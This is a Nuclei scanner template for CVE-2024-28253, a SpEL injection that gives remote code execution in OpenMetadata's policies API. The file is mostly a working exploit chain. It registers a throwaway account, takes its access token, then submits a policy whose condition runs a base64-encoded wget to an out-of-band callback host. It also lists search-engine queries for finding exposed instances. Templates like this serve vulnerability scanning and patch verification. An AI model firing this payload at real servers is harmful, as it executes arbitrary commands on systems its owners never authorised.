id: CVE-2024-28253

info:
  name: OpenMetaData - SpEL Injection in PUT /api/v1/policies
  author: daffainfo
  severity: critical
  description: |
    OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.3.1 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
    - https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr
    - https://nvd.nist.gov/vuln/detail/VE-2024-28253
    - https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
    - https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2024-28253
    cwe-id: CWE-94
    epss-score: 0.12527
    epss-percentile: 0.95713
    cpe: cpe:2.3:a:open-metadata:openmetadata:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: open-metadata
    product: openmetadata
    shodan-query: http.favicon.hash:"733091897"
    fofa-query: icon_hash="733091897"
    google-query: intitle:"openmetadata"
  tags: cve,cve2024,openmetadata,spel,rce,intrusive,file-upload,oast,vkev

variables:
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  password: "{{concat(rand_char('!@#$'), rand_base(4, 'abcdef'), rand_base(4, '1234567890'), rand_char('ABCDEF'))}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/v1/users/signup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"firstName":"{{firstname}}","lastName":"{{lastname}}","email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 201"
          - "contains(content_type, 'application/json')"
          - "contains_all(body, 'fullyQualifiedName', 'isBot', 'isAdmin')"
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/users/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{base64(password)}}"}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains_all(body, 'accessToken', 'tokenType')"
        condition: and
        internal: true

    extractors:
      - type: json
        name: accessToken
        json:
          - '.accessToken'
        internal: true

  - raw:
      - |
        PUT /api/v1/policies HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{accessToken}}
        Content-Type: application/json

        {"name":"{{randstr}}","rules":[{"name":"{{randstr}}","description":"{{randstr}}","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('{{base64("wget http://{{interactsh-url}}")}}')))"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 400
# digest: 4a0a00473045022100aae97bce04115fbc01671f8afab9877a0de1f0c6664005ab01229d07c3aeac8902200a52a950137c38a8f7590b677b72da25f88c9ebd77735c2dd780ede9b46df729:922c64590222798bb761d5b6d8e72950